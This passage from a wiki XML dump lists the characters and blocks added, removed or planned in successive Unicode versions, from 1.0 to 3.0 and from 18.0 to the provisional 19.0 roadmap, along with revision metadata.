* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>npv82gei05xzwa2274btmk7lkh7fhe2</sha1>
    </revision>
    <revision>
      <id>4670501</id>
      <parentid>4670500</parentid>
      <timestamp>2026-09-16T19:35:49Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Extended blocks */</comment>
      <origin>4670501</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="130376" sha1="7ialtctlj4drvqhmsghbj9io8r8xplf" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from ''Hebrew''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
